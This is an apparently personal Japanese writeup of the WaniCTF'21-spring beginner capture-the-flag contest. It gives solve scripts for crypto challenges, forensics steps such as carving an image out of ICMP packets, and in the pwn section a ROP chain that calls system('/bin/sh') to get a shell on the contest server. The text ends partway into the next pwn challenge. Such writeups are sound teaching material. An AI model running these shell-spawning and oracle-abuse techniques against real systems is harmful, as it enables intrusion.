WaniCTF'21-spring Writeup
WaniCTF'21-spring について
WaniCTF'21-spring が開催されました。
2021年4月30日午前10時 ~ 2021年5月2日午後8時(58時間)
WaniCTF は大阪大学 CTF サークル Wani Hackase が開催する初心者向けの CTF です。
picoCTF 同様に難易度は易しく、初心者向けな難易度でした。
個人形式なので、1人で参加しました。結果は、13/353位で 6320点でした。
33問中 30問解くことができたので、その Writeup を紹介します。
WaniCTF'21-spring Writeup(30問)
Crypto
Simple conversion
戻し方を忘れました…
cry-simple-conversion.zip
数値を文字列に変換するだけ
from Crypto.Util.number import long_to_bytes flag = long_to_bytes(709088550902439876921359662969011490817828244100611994507393920171782905026859712405088781429996152122943882490614543229) print(flag)
$ python3 solve.py b'FLAG{7h1s_i5_h0w_we_c0nvert_m3ss@ges_1nt0_num63rs}'
FLAG{7h1s_i5_h0w_we_c0nvert_m3ss@ges_1nt0_num63rs}
Easy
手始めに
cry-easy.zip
encrypt.py は、以下のようになっている。
A と B がマスクされている。またフラグは、1文字ずつ暗号化されている。
with open("flag.txt") as f: flag = f.read().strip() A = REDACTED B = REDACTED plaintext_space = "ABCDEFGHIJKLMNOPQRSTUVWXYZ_{}" assert all(x in plaintext_space for x in flag) def encrypt(plaintext: str, a: int, b: int) -> str: ciphertext = "" for x in plaintext: if "A" <= x <= "Z": x = ord(x) - ord("A") x = (a * x + b) % 26 x = chr(x + ord("A")) ciphertext += x return ciphertext if __name__ == "__main__": ciphertext = encrypt(flag, a=A, b=B) print(ciphertext)
次に、output.txt を見てみると、以下のようになっていた。
HLIM{OCLSAQCZASPYFZASRILLCVMC}
よって、HLIM
が FLAG
になる A と B のパターンを見つけて、復号すればよい。
import itertools def search_ab(): for a, b in itertools.product(range(100), repeat=2): i = 0 for c, m in zip('HLIM', 'FLAG'): x = ord(m) - ord('A') x = (a * x + b) % 26 if x == ord(c) - ord('A'): i += 1 if i == 4: break return a, b def decrypt(ciphertext: str, a: int, b: int) -> str: plaintext_space = "ABCDEFGHIJKLMNOPQRSTUVWXYZ_{}" plaintext = '' for c in ciphertext: if 'A' <= c <= 'Z': mid_x1 = ord(c) - ord('A') for p in plaintext_space: x = ord(p) - ord('A') mid_x2 = (a * x + b) % 26 if mid_x1 == mid_x2: break plaintext += p else: plaintext += c return plaintext def main(): a, b = search_ab() print(f'{a = }, {b = }') with open('output.txt', 'r') as f: enc_flag = f.read() flag = decrypt(enc_flag, a, b) print(flag) if __name__ == '__main__': main()
$ python solve.py a = 5, b = 8 FLAG{WELCOMETOCRYPTOCHALLENGE}
FLAG{WELCOMETOCRYPTOCHALLENGE}
Can't restore the flag?
ちりつもですよ
nc crt.cry.wanictf.org 50000
cry-cant-restore-the-flag.zip
フラグの剰余結果を返すスクリプトになっていた。 入力値が300以下になるように制限されている。ただし、負の数に対する制限はない。
from Crypto.Util.number import bytes_to_long with open("flag.txt", "rb") as f: flag = f.read() flag = bytes_to_long(flag) assert flag <= 10 ** 103 upper_bound = 300 while True: try: mod = int(input("Mod > ")) if mod > upper_bound: print("Don't cheat 🤪") continue result = flag % mod print(result) except Exception: print("Bye 👋") break
フラグの値 * -1 より小さい値を入力すると、以下のようになる。
$ nc crt.cry.wanictf.org 50000 Mod > -1000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -999999999999999999999999999999999999990159419553623771292182053863936378683792187168026886550747783166620982570144103000771436923911878705910
Python の場合、mod - result をすれば、元のフラグに戻すことができる。
from Crypto.Util.number import long_to_bytes mod = -1000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 result = -999999999999999999999999999999999999990159419553623771292182053863936378683792187168026886550747783166620982570144103000771436923911878705910 flag = long_to_bytes(result - mod).decode() print(flag)
$ python3 solve.py FLAG{Ch1n3s3_r3m@1nd3r_7h30r3m__so_u5eful}
FLAG{Ch1n3s3_r3m@1nd3r_7h30r3m__so_u5eful}
Extra
いつものRSA?
cry-extra.zip
encrypt.py を見ると、以下のようになっていた。
from Crypto.Util.number import getPrime, bytes_to_long with open("flag.txt", "rb") as f: flag = f.read() p, q = getPrime(1024), getPrime(1024) N = p * q M = 2 * p + q e = 0x10001 def encrypt(plaintext: bytes) -> int: plaintext = bytes_to_long(plaintext) c = pow(plaintext, e, N) return c if __name__ == "__main__": c = encrypt(flag) print(f"{N = }") print(f"{M = }") print(f"{e = }") print(f"{c = }")
以下のような N と M の値が公開されている。
よって、以下の2次方程式を解けば p が判明する。
p が分かれば、あとは通常通り RSA で復号するだけ。
import sympy from Crypto.Util.number import inverse, long_to_bytes N = 22255382023772668851018179427844169178508638456713544208965498667359965716247243217931028270320680101854437928939452335472153643094266035953797432826168426002458800906764442624308120284177094975740468163835305872963635678413995878812492729432260346481442092245748885202467992527408086207041964831622724073720751839241897580988210971776031098476500998975223039782371635291859483569580516707907602619018780393060215756966917504096971372578145138070121288608502379649804953835336933545368863853793291348412017384228807171466141787383764812064465152885522264261710104646819565161405416285530129398700414912821358924882993 M = 455054308184393892678058040417894434538147052966484655368629806848690951585316383741818991249942897131402174931069148907410409095241197004639436085265522674198117934494409967755516107042868190564732371162423204135770802585390754508661199283919569348449653439331457503898545517122035939648918370853985174413495 e = 65537 c = 17228720052381175899005296327529228647857019551986416863927209013417483505116054978735086007753554984554590706212543316457002993598203960172630351581308428981923248377333772786232057445880572046104706039330059467410587857287022959518047526287362946817619717880614820138792149370198936936857422116461146587380005750298216662907558653796277806259062461884502203484610534512552197338982682870358910558302016481352035443274153409114492025483995668048818103066011831955626539382173160900595378864729936791103356604330731386911513668727994911216530875480647283550078311836214338646991447576725034118526046292574067040720093 sympy.var('x') fx = -2*x**2 + M*x - N answers = sympy.solve(fx, x) for ans in answers: print('p =', ans) p = int(answers[1]) q = N // p phi = (p - 1) * (q - 1) d = inverse(e, phi) m = pow(c, d, N) flag = long_to_bytes(m) print(flag)
$ python3 solve.py p = 142334186062265063219356604202944121242754649133715704144297972545346872221408855701425640596353771233387545377931080775413744238487922734779839556466413299896274963598187720052834744985690699039533532577445584533324042810567244036823175875348131212319476440307897156023046225832535991641744231454550103900877/2 p = 156360061061064414729350718107475156647696201916384475612165917151672039681953764020196675326794562949007314776569034065998332428376637134929798264399554687150921485448111123851340681028588745762599419292488809801223379887411755235919011704285719068065088499511780173937749645644749974003587069699717535256309 b' FLAG{@n_ex7ra_param3ter_ru1n5_3very7h1n9}\n'
FLAG{@n_ex7ra_param3ter_ru1n5_3very7h1n9}
OUCS
OUによるHomomorphicなCryptoSystemです
nc oucs.cry.wanictf.org 50010
cry-oucs.zip
実行すると、以下のようなメニューが表示される。フラグ以外の値を暗号化および復号することができる。
$ nc oucs.cry.wanictf.org 50010 .oooooo. ooooo ooo .oooooo. .oooooo..o d8P' `Y8b `888' `8' d8P' `Y8b d8P' `Y8 888 888 888 8 888 Y88bo. 888 888 888 8 888 `"Y8888o. 888 888 888 8 888 `"Y88b `88b d88' `88. .8' `88b ooo oo .d8P `Y8bood8P' `YbodP' `Y8bood8P' 8""88888P' ╭─────────────────────╮ │ 1. Encrypt flag │ │ 2. Encrypt │ │ 3. Decrypt │ │ 4. Show public key │ │ 5. Exit │ ╰─────────────────────╯ >
Homomorphic について検索してみると、準同型暗号 - Wikipedia に以下のように書かれていた。
二つの暗号文 が与えられたときに、平文や秘密鍵なしで を計算できる。ここで は、加法 や 乗法 のような二項演算子とする。
試しに、Enc(0x1) * Enc(0x2) を計算して復号したところ、0x3 と表示された。
よって、Enc(flag) * Enc(0x1) を復号し、その結果から 0x1 を減算すれば、元のフラグを求めることができる。
$ nc oucs.cry.wanictf.org 50010 .oooooo. ooooo ooo .oooooo. .oooooo..o d8P' `Y8b `888' `8' d8P' `Y8b d8P' `Y8 888 888 888 8 888 Y88bo. 888 888 888 8 888 `"Y8888o. 888 888 888 8 888 `"Y88b `88b d88' `88. .8' `88b ooo oo .d8P `Y8bood8P' `YbodP' `Y8bood8P' 8""88888P' ╭─────────────────────╮ │ 1. Encrypt flag │ │ 2. Encrypt │ │ 3. Decrypt │ │ 4. Show public key │ │ 5. Exit │ ╰─────────────────────╯ > 2 Enter your plaintext > 1 ciphertext = 0x24a79efd1893d36acf6fc4bbfa88439dbc82755a91adc3b0b4c8cb52d052cbd40851708eeab0cb49ce35e9cbec4891dc614f649738135834c2aded6e783e509dbaa4644220bb92655b4ca3bc19e7fe23ffbac8f464d1780139b25bfa068cb5d9ab316cfce4b3d933053f9bea7ca16568a0fa7896484c34a1efeb363bda1b0f915a273d5534ba79b323151d68275b4bc9ce224b571217de5e07d4669bc2cb20f30246a27caa088d8fbbc53e227657fa87f941a37d773b3e7789bedb9efee536eabf812cd7677ce691e553d5a94007180613a04d902daa9aaa7430bbcd69eb3fb1e6c1119b172fb010efd2b55f42f02fdfe0f40d3d28124b365f506c22c1a83f2a507f6e85edb565e6cc2dc59c10568d148761b4915ffff2cd3f12fe7a3a562329fc14f25609b5aaee0c0dfdb788f3abde01d76387399c2485f9f9c89aaf20ba986570822d215c64dad5fdb5069ebdc1b01ca0bf6054823e2f7d6e443fa094c54032266ab740dec9ecd7175f27118b42a0663624b83f4929455a207dad5b82aaf1 ╭─────────────────────╮ │ 1. Encrypt flag │ │ 2. Encrypt │ │ 3. Decrypt │ │ 4. Show public key │ │ 5. Exit │ ╰─────────────────────╯ > 2 Enter your plaintext > 2 ciphertext = 0x3722144289f317dafbd3f037288ae63e7c3ea369275a6b423fd45c27d1549e8ef0294ae718362d9778d8d31384338b43aeea8966fbedd9355e04b2b0b87378e3dece886120f33099c811f50e423c9ec79d9199ed2d831b0fb5d2dc3bae051a72ff56dd9f72260a498590579d6a185072af8875f47ef6e9aa4352562163d6395e204363cbde965b13c4c6b89618b65e3bf9e95eebad76d10c711ca8229672e0f4f7439ae49e97707e157048f1987555ca8eba555b563957e9060a348ec8f8092a924f3db266a4480b6feb27b292d73c18194f86cbff46567b81d8df403489466f9a28e591e2bf66aedfe2c746dc4a72d98d81510aef0dfaa1832d1036c1ce880f7a554c339c9584957af5a9a73265a66c491e955bd03c44f358a2bedc5de8daac7e98743d1a257419c76e3257f4fab1b289b71d7e02107e7b611f3fad9244fdaf7439b02786af752d9eebad66691057a7f8693694c87b7e779f6562bb03950235f99482f90e883ee5770bd4505f4dc91f07b1a05357cf55602253d9a06b00c0e7 ╭─────────────────────╮ │ 1. Encrypt flag │ │ 2. Encrypt │ │ 3. Decrypt │ │ 4. Show public key │ │ 5. Exit │ ╰─────────────────────╯ > 3 Enter your ciphertext > 1040774174773251124988568146951646413754293884494777742666536061894280705293528498559895971596879764012651716381920749330084066872937771978244340311638139158747699547473524035997770136767845297120420523041968622773545023216755327025642449817256832027000743781701381806654461981628857210252525714459085270669619270106994882674341710563230448003326301253137252592394891838212718473482521703252557855926886985309539405200407385661707132113800473557552972641282455189840044099466921506474278054287549214845417382815963342281917523913917735453174459761885197228755221531295334321645938305720035361776619080740010173139636749093600364512273120864448785020865717105975996773108590018817146826192022500053929622437048279634309962985743478958858990712035099005112751974405184230897918411516928053934094194010589677536216642180106347451752030746284930132274902996691488550775313390250222656839220442807885753003667177602581489563898165689551738555961695099083328535565888444455537719620191821095208713351424552947553762736552732990929277110400904150907530260033418316373309444765956464207349001674417362519582322176421704227999450949216113216365720418053241339155776422229062498780978157554838035964668357366034206121163148752051510151319150523746329840240591160414687914915853729271264800151185316458437655649744943513713270561821486185670265429521642567350760302264846975645417617911984580459082648691338699912690326968930455449143161226101181754359966084685498263648357185259620498416239877199334979300964041722081139634843539608233818791478004052666006289508511855528458818905147178559203389547085434953806966531702391941253715646821472757909026211937113761423383568949485337508006381535587447610914420522375393037255612940064490009661080208401211212286668565155939213254758644258428582736413019312642859245557032571730246094345834483977400431357816799095 plaintext = 0x3
スクリプトを書くと以下のようになる。
import nclib from Crypto.Util.number import long_to_bytes HOST = 'oucs.cry.wanictf.org' PORT = 50010 nc = nclib.Netcat((HOST, PORT)) nc.readuntil('> ') nc.sendline(b'1') # Encrypt flag enc_flag = int(nc.readline().decode().split('=')[-1], 16) print(f'enc_flag = 0x{enc_flag:x}') nc.readuntil('> ') nc.sendline(b'2') # Encrypt nc.readuntil('> ') nc.sendline(b'1') # Encrypt 0x1 enc_0x1 = int(nc.readline().decode().split('=')[-1], 16) print(f'enc_0x01 = 0x{enc_0x1:x}') enc_flag_0x1 = enc_flag * enc_0x1 print(f'enc_flag_0x01 = 0x{enc_flag_0x1:x}') nc.readuntil('> ') nc.sendline(b'3') # Decrypt nc.readuntil('> ') nc.sendline(hex(enc_flag_0x1).encode()) plaintext = int(nc.readline().decode().split('=')[-1], 16) print(f'plaintext = 0x{plaintext:x}') flag = long_to_bytes(plaintext - 0x1) print(flag)
実行すると、フラグを復号することができた。
$ python3 solve.py enc_flag = 0x4fb28062a733e9ede74add9df7abda0f562ff8a30cdada6a3fb8e11c2a9372d0d8871a1b6cc0bddaba52ceeed69ee6435ac52af4a0c326603cf44aa068445b044fe48e364648297072ddd6049a65ff8f9f8c72d3b4fd41b75eaee67202ba74ccf8311efb0c1e4f89bc14f3eb35585cc212ade2efcc864c7305d5225a62071febcf88678fa715455bc9885d3fc268ba8863c67f2a63898ed97167cfed9ff4451b03aa101c998cf9bd446299049ef82dbcabdc32a4febf137942fab08e2d053622feb359b264b32d092dbe725e9b0a5e81cd2e0b79bf5e4b334fc2c7d81a2fcbae2757a817a370d4aa37ba51ae5d645037276419c546855a6b0874b2b03dd0d59153ce30a2e8991a42f15f1041d694895c92ef1bbbabd0cb79bced32f225e894f755bc674ad8b09a41c8c52be66b4c3bc04a310ee399eb3db1de1be90f1ebc87782116b14fa65ca30072f410865fcb4555038464d996810b712cbaec7f3b7b5349c78fa34544b5c09232fc8aa8c5dd92ebe6455012b168aa8c85a4d772a4ff3c92 enc_0x01 = 0x2dd776c2bde704eb0b65b5b6d49826a57f1b0a994a6e7d7531f45891a93db7829c8817a1559c6fd08a7adc46f41dd65e966dc39cfb0dfa3c2fa96aa8a387e3e534cd9e32eb1bff5ab2103101a98827c8e0613521827f2233a4ea21e8a68fb63394e6d95c3062e55e3119b2a9dd91ed51c84952ce650dc2175e1fb35d88e90d82930cd007914a77b7dceee5c0958a085d82a31ba826371d8693cb6cdb1bef2960545e79b64d64099f1d57ed36d8f7deb72c46cc4d006e16bd125f772e7cf1cb40cec5710583b2b05a79c732435d302b4a7f6d90e35b4fe183f6c28223836d7ced08d434425ec91d16e54cef0dd3483a15c8ce3b182b9a3e29bebc78cdbf260b931e62ebdb138d9c21a71677a5ed7cf66c94239f1b7cdb46c2f40dce7d2d6cedbe709a1221e4d0b2c2f1975c196a7e47931ae117b7522525fdc6b7e786509390ba9c9303a65c76ee62b7477a409f2b47190424aa5f91f978ca6209689823b85e9247f59709e993fa57aec3bcd8a2a9289caab111d0ac4b4a9fa3d16243699fc4b1 enc_flag_0x01 = 0xe45747411d004ef908045f6b6cbd0ecdb2c03c62dde2b142c30a1fac68bbaa52288674d1aa2279b736f9b92a18038f1f13da4db910da18f0176077f34b1f0d88a02dd76f4649c0fbdb5b61ee0cc99f89c2692dcb73bf441e852b5244bd08033d21a7af1e87136b317c3259a8ca06a64ecdd510a3128c62b6394c55065a55568642b39e3a6beb0d27bc8e3311460de591646e0ebabb5b18101c0d2d6539ad8ef52d6a0a1f3bbfb217e3187c6a3e4d6cb13fb5dbde33ed8e0778b659277cd954b3aebf917d1cd7a1023b8607456508835df799d449aa1af7722d0b62eb34391c78c5eef215cfba52e4c79be846da65c2b31387f566db761dfcd0daae16303b20c0527821895aadac1587142438f8940afaf042247d2a3169f6719010856f51c93fe2e1fb37d55d1eb19825bb52d8cf04afa1602aa6b3beb2bdf52d5f403002667ee3e858ab851b597c23f888ff6a08e87a78f49f06300d3b9539cc88b2fef142fbc4f40c852221904862649779c2feed71adc6047124d1a6c8ea474efbe195a4731f13f1deecee872c0819429545b172950999a61a2f2bc75dda6d124774ea0cd731b61ac358244db51b9c71b77a62f18588b4e973b130ea73ea82c9fbe08e235a60a76cca56dd2f8680bb82625d224e35d59ec6fd696321f00aa01e1b73795e98e7a1eb29f0029e643072d2d4e536e639de2d2e8af4d6173e721c28de7335008f66f4defac958ff78ef00f776123959eb97438e956be12add45a4968cfb2bbef147f287d7ed897a0efd7e2b104a9769bc5d01547df75ffe5984f1af1bb377a6f56a993161fe3e45a9e7286709b09524f2cca51464ebe6ad99d32a54c25e3e1a9e11933a05f4453f19d39155f02a23d9ee48751a3aaaefad51f889dcefc2edb7603e1bf8d65263ad8152c7ceb12d9ad7f18f7a0e899176212644200e87262938dd00ab93a310f8542824eec896f150e4789a519ceba437e0879ee21ab17ecbb432f63f29404d7a14728154b9dc9f9b3ccdb9f59fab6651006abd6ee8c134f21b11c636e12af5182c11b96ea69c762a5de878df9676d1d7004befca52bff86a8f2 plaintext = 0x464c41477b4f555f643065735f6e30745f726570726535336e745f4f73616b615f556e69766572736974795f6275745f4f6b616d6f746f2d5563686979616d617e b'FLAG{OU_d0es_n0t_repre53nt_Osaka_University_but_Okamoto-Uchiyama}'
FLAG{OU_d0es_n0t_repre53nt_Osaka_University_but_Okamoto-Uchiyama}
Forensics
presentation
このままじゃFLAGをプレゼンできない...
for-presentation.zip
presentation.ppsx を zip として展開し、FLAG
という文字列が含まれるファイルを探索してみると、./ppt/slides/slide1.xml に含まれていることが分かった。
$ find . -type f | xargs strings -f | grep FLAG | less -S ./ppt/slides/slide1.xml: 3"><a:extLst><a:ext uri="{FF2B5EF4-FFF2-40B4-BE49-F238E27FC236}"><a16:creationId xmlns:a16="http://schemas.microsoft.com/office/drawing/2014/main" id="{D20E0E16-856A-4D90-B526-357B102A98A1}"/></a:ext></a:extLst></p:cNvPr><p:cNvSpPr txBox="1"/><p:nvPr/></p:nvSpPr><p:spPr><a:xfrm><a:off x="0" y="2716696"/><a:ext cx="12192000" cy="769441"/></a:xfrm><a:prstGeom prst="rect"><a:avLst/></a:prstGeom><a:noFill/></p:spPr><p:txBody><a:bodyPr wrap="square" rtlCol="0"><a:spAutoFit/></a:bodyPr><a:lstStyle/><a:p><a:pPr algn="ctr"/><a:r><a:rPr kumimoji="1" lang="en-US" altLang="ja-JP" sz="4400" b="1" dirty="0"><a:latin typeface="Meiryo UI" panose="020B0604030504040204" pitchFamily="50" charset="-128"/><a:ea typeface="Meiryo UI" panose="020B0604030504040204" pitchFamily="50" charset="-128"/></a:rPr><a:t>FLAG{</a:t></a:r><a:r><a:rPr kumimoji="1" lang="en-US" altLang="ja-JP" sz="4400" b="1" dirty="0" err="1"><a:latin typeface="Meiryo UI" panose="020B0604030504040204" pitchFamily="50" charset="-128"/><a:ea typeface="Meiryo UI" panose="020B0604030504040204" pitchFamily="50" charset="-128"/></a:rPr><a:t>you_know_how_to_edit_ppsx</a:t></a:r><a:r><a:rPr kumimoji="1" lang="en-US" altLang="ja-JP" sz="4400" b="1" dirty="0"><a:latin typeface="Meiryo UI" panose="020B0604030504040204" pitchFamily="50" charset="-128"/><a:ea typeface="Meiryo UI" panose="020B0604030504040204" pitchFamily="50" charset="-128"/></a:rPr><a:t>}</a:t></a:r><a:endParaRPr kumimoji="1" lang="ja-JP" altLang="en-US" sz="4400" b="1" dirty="0"><a:latin typeface="Meiryo UI" panose="020B0604030504040204" pitchFamily="50" charset="-128"/><a:ea typeface="Meiryo UI" panose="020B0604030504040204" pitchFamily="50" charset="-128"/></a:endParaRPr></a:p></p:txBody></p:sp><p:sp><p:nvSpPr><p:cNvPr id="5" name="
該当するタグを抜き出して整形すると、以下のようになっており、フラグが書かれていた。
<a:p> <a:pPr algn="ctr"/> <a:r> <a:rPr kumimoji="1" lang="en-US" altLang="ja-JP" sz="4400" b="1" dirty="0"> <a:latin typeface="Meiryo UI" panose="020B0604030504040204" pitchFamily="50" charset="-128"/> <a:ea typeface="Meiryo UI" panose="020B0604030504040204" pitchFamily="50" charset="-128"/> </a:rPr> <a:t>FLAG{</a:t> </a:r> <a:r> <a:rPr kumimoji="1" lang="en-US" altLang=gg"ja-JP" sz="4400" b="1" dirty="0" err="1"> <a:latin typeface="Meiryo UI" panose="020B0604030504040204" pitchFamily="50" charset="-128"/> <a:ea typeface="Meiryo UI" panose="020B0604030504040204" pitchFamily="50" charset="-128"/> </a:rPr> <a:t>you_know_how_to_edit_ppsx</a:t> </a:r> <a:r> <a:rPr kumimoji="1" lang="en-US" altLang="ja-JP" sz="4400" b="1" dirty="0"> <a:latin typeface="Meiryo UI" panose="020B0604030504040204" pitchFamily="50" charset="-128"/> <a:ea typeface="Meiryo UI" panose="020B0604030504040204" pitchFamily="50" charset="-128"/> </a:rPr> <a:t>}</a:t> </a:r> <a:endParaRPr kumimoji="1" lang="ja-JP" altLang="en-US" sz="4400" b="1" dirty="0"> <a:latin typeface="Meiryo UI" panose="020B0604030504040204" pitchFamily="50" charset="-128"/> <a:ea typeface="Meiryo UI" panose="020B0604030504040204" pitchFamily="50" charset="-128"/> </a:endParaRPr> </a:p>
FLAG{you_know_how_to_edit_ppsx}
MixedUSB
USBにパーティションを設定したら、どこにFLAGを保存しているのかわからなくなってしまいました...
MixedUSB.img
ダウンロードしてきて、strings するだけ
$ strings MixedUSB.img | grep FLAG FLAG TXT FLAG{mixed_file_allocation_table}
secure document
本日の資料は以下を入力して圧縮しました。
the password for today is nani
for-secure-document.zip
flag_20210328.zip と password-generator の2つのファイルが与えられている。
flag_20210328.zip は、パスワード付きzipで暗号化されている。
password-generator は、以下のようになっていた。
::the:: Send, +wani return ::password:: Send, +c+t+f return ::for:: Send, {home}{right 3}{del}1{end}{left 2}{del}7 return ::today:: FormatTime , x,, yyyyMMdd SendInput, {home}{right 4}_%x% return ::is:: Send, _{end}{!}{!}{left} return :*?:ni:: Send, ^a^c{Esc}{home}password{:} {end} return
Google で "Send" "return" "FormatTime" "SendInput" "Esc"
と検索すると、AutoHotkey が出てきた。
以下のように作業を行ったところ、パスワードっぽい文字列が表示された。
- AutoHotkey をインストールする。
- password-generator を password-generator.ahk にリネームする。
- password-generator.ahk をダブルクリックで実行する。
- メモ帳等のテキストエディタを開く。
the password for today is nani
と入力すると、
password: Wan1_20210430_C7F!na!
と表示された。
20210430 のところは、作業を行った日付になっている。 zip 内のファイルの更新日時を確認してみると、2021-04-28 03:03 になっていた。
よって、flag_20210328.zip のパスワードは、Wan1_20210428_C7F!na!
だと判明した。
zip を展開して、画像ファイルを開いてみると、フラグが書かれていた。
FLAG{Nani!very_strong_password!}
illegal image
裏で画像がやり取りされているらしい
for-illegal-image.zip
画像がやり取りされているとのことなので、JPEG ヘッダの FFD8FFE0
で検索してみたところ、ICMP パケット内に JPEG ヘッダの値が見つかった。
複数の ICMP パケットに分割されているようなので、tshark で切り出して画像を抽出した。
$ tshark -r illegal_image.pcap -T fields -e data.data icmp.type==8 | tr -d "\n" | xxd -r -p > icmp_data.jpg
抽出した画像を開いてみると、フラグが書かれていた。
FLAG{ICMP_Exfiltrate_image}
slow
宇宙からメッセージが届きました。(※音量注意!)
for-slow.zip
slow.wav を聞いてみると、ピーピーピロリ―という音が初めに聞こえてくる。 また、宇宙、slow というキーワードから、アマチュア無線の画像通信で使用される SSTV(Slow Scan Television)だと分かる。
RX-SSTV を使って音声を画像に変換したところ、フラグが表示された。
※ 備考: VB-CABLE のような仮想オーディオデバイスでPC内音声をマイクに流してあげると、きれいな画像に変換させやすい。
FLAG{encoded_by_slow-scan_television}
Misc
binary
文字も所詮1と0の集合です。
sample.pyを参考に復号器を作ってみてください。
mis-binary.zip
binary.csv を CyberChef の From Binary で文字列に変換するだけ
FLAG{the_basic_knowledge_of_communication}
Git Master
https://hub.docker.com/r/wanictf21spring/nginx_on_ubuntu
ホームページをみんなで開発したいので、イメージを公開するです。
昔、秘密の文字列をコミットしたことがあるけど大丈夫だよね...?
DockerHub から pull してコンテナを起動させる。
$ docker pull wanictf21spring/nginx_on_ubuntu:latest $ docker run -it --rm -v /tmp:/tmp wanictf21spring/nginx_on_ubuntu:latest /bin/bash
.git ディレクトリをマウントしておいた /tmp 経由で取り出す。
$ find / -type d -name ".git" -not -path "/tmp/*" /var/www/.git $ cp -r /var/www/.git /tmp
git コマンドの cat-file を使ってすべてのファイルのデータを抽出する。
$ for object in `ls -la .git/objects/*/* | cut -d"/" -f3,4 | tr -d "/"`; do git cat-file -p $object; done > output.txt
strings で確認していくと、分割されたフラグの文字列が確認できた。
$ strings output.txt | grep FLAG FLAG{y0u_ $ strings output.txt # snip 100644 blob 60ca0b1f76d898f5c11a381592d5c37385bebea8 Flag.txt 040000 tree 2bfd1c362f310a7fbb2be6fd3546819d456b4499 assets 100644 blob 737f9d108236e05f619c40963e92285bb643663a favicon.ico 100644 blob 6e7b9d9c4fab5ef27ede4568f557b0dff4e1b3ae index.html tree 79c413edb2d73bad622242e1644709f70b5da3d2 parent 058a5020310afc637ee59cf3dfc371d2be91b4d0 author wanictf21spring <wanictf21spring@gmail.com> 1618276482 +0900 committer wanictf21spring <wanictf21spring@gmail.com> 1618276482 +0900 initialization of html/index.html 100644 blob 737f9d108236e05f619c40963e92285bb643663a favicon.ico 100644 blob 6e7b9d9c4fab5ef27ede4568f557b0dff4e1b3ae index.html _m45t3r} tree cb29ddc5d574be325a2485fbb71bc1f00ce7208c parent e4c9da8d153ceb2efdc7521ac71d522ca7ca5fb7 author wanictf21spring <wanictf21spring@gmail.com> 1618276494 +0900 committer wanictf21spring <wanictf21spring@gmail.com> 1618276494 +0900 initialization of html/favicon.ico tree 6a784d9649db84ce32196cfc5091303a87042467 author okayu1230z <okayu000z@yahoo.co.jp> 1618276440 +0900 committer okayu1230z <okayu000z@yahoo.co.jp> 1618276440 +0900 initialization of Dockerfile 100644 blob 14a76c6030cf11b6241f0df80480ce5cdf3db695 main.css 4r3_p3rf3c7_g1t 100644 blob 428833073ab18a3890a89de8c8066969baa0a295 Dockerfile 100644 blob 6919be129dd806595762632b6ca24ebab8fe593e docker-compose.yml
FLAG{y0u_4r3_p3rf3c7_g1t_m45t3r}
ASK
Amplitude Shift Keying
mis-ask.zip
ask.csv の改行を削除して見てみると、0 や 1 が連続している箇所が多くみられた。
問題文から 0 と 1 を増幅させているのだと思われる。
よって、 CyberChef で ask.csv を以下のように変換してみると、フラグが表示された。
- 改行を削除する。
0000000000000000000000000000000
を 0 に変換する。1111111111111111111111111111111
を 1 に変換する。- バイナリを文字列に変換する。
- strings で可読文字列のみ抽出する。
CyberChef レシピ
Remove_whitespace(true,true,true,true,true,false) Find_/_Replace({'option':'Regex','string':'[0]{31}'},'0',true,false,true,false) Find_/_Replace({'option':'Regex','string':'[1]{31}'},'1',true,false,true,false) From_Binary('Space',8) Strings('Single byte',4,'Alphanumeric + punctuation (A)',false)
FLAG{als0-k0own-4s-0n-0ff-key1ng}
Manchester
Manchester Encoding
mis-manchester.zip
Manchester Encoding について調べてみると、Clock に合わせて 2bit ずつ XOR を取るらしいということが分かった。
よって、ASK と同じように 0 と 1 の増幅を戻した後、 CyberChef で以下のように変換すると、フラグが表示された。
- 00 を削除する
- 10 と 11 を 1 に変換する
- 01 を 0 に変換する
- バイナリを文字列に変換する。
- strings で可読文字列のみ抽出する。
CyberChef レシピ
Remove_whitespace(true,true,true,true,true,false) Find_/_Replace({'option':'Regex','string':'[0]{31}'},'0',true,false,true,false) Find_/_Replace({'option':'Regex','string':'[1]{31}'},'1',true,false,true,false) Regular_expression('User defined','[01]{2}',true,true,false,false,false,false,'List matches') Find_/_Replace({'option':'Regex','string':'00'},'',true,false,true,false) Find_/_Replace({'option':'Regex','string':'10|11'},'1',true,false,true,false) Find_/_Replace({'option':'Regex','string':'01'},'0',true,false,true,false) From_Binary('Space',8) Strings('Single byte',4,'Alphanumeric + punctuation (A)',false)
FLAG{avoiding-consective-ones-and-zeros}
Pwn
01 netcat
nc netcat.pwn.wanictf.org 9001
・netcat (nc)と呼ばれるコマンドを使うだけです。
・つないだら何も出力されなくても知っているコマンドを打ってみましょう。使用ツール例
・netcat (nc)gccのセキュリティ保護
・Full RELocation ReadOnly (RELRO)
・Stack Smash Protection (SSP)有効
・No eXecute bit(NX)有効
・Position Independent Executable (PIE)有効
pwn-01-netcat.zip
netcat で接続すると、シェルにアクセスすることができた。
$ nc netcat.pwn.wanictf.org 9001 congratulation! please enter "ls" command ls chall flag.txt redir.sh cat flag.txt FLAG{this_is_the_same_netcat_problem_as_previous_one}
FLAG{this_is_the_same_netcat_problem_as_previous_one}
03 rop machine easy
nc rop-easy.pwn.wanictf.org 9003
ヒント
・ropでsystem("/bin/sh")を実行して下さい。
・"/bin/sh"のアドレスは提供されています
・rop machineの使い方->wani-hackase/rop-machine
使用ツール例
・netcat (nc)
gccのセキュリティ保護
・Partial RELocation ReadOnly (RELRO)
・Stack Smash Protection (SSP)有効
・No eXecute bit(NX)有効
・Position Independent Executable (PIE)無効
pwn-03-rop-machine-easy.zip
system("/bin/sh")
が実行されるようにROPを組むだけ
$ nc rop-easy.pwn.wanictf.org 9003 "/bin/sh" address is 0x404070 [menu] 1. append hex value 2. append "pop rdi; ret" addr 3. append "system" addr 8. show menu (this one) 9. show rop_arena 0. execute rop > 2 "pop rdi; ret" is appended > 1 hex value?: 404070 0x0000000000404070 is appended > 3 "system" is appended > 0 rop_arena +--------------------+ | pop rdi; ret |<- rop start +--------------------+ | 0x0000000000404070 | +--------------------+ | system | +--------------------+ ls chall flag.txt redir.sh cat flag.txt FLAG{this-is-simple-return-oriented-programming}
FLAG{this-is-simple-return-oriented-programming}
04 rop machine normal
nc rop-normal.pwn.wanictf.org 9004
ヒント
・ropでexecve("/bin/sh", 0, 0)を実行して下さい。
・"/bin/sh"のアドレスは提供されています
・execveのsyscall番号は0x3bです。
